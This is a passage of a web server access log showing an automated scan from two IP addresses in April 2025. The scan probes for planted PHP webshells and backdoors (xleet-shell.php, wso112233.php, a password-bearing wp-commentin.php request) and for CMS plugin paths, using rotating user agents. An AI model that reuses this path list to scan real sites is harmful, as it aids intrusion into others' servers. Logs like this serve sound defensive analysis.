Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:46 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:47 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:47 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:47 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:48 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:48 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:48 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:48 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:48 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:48 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; 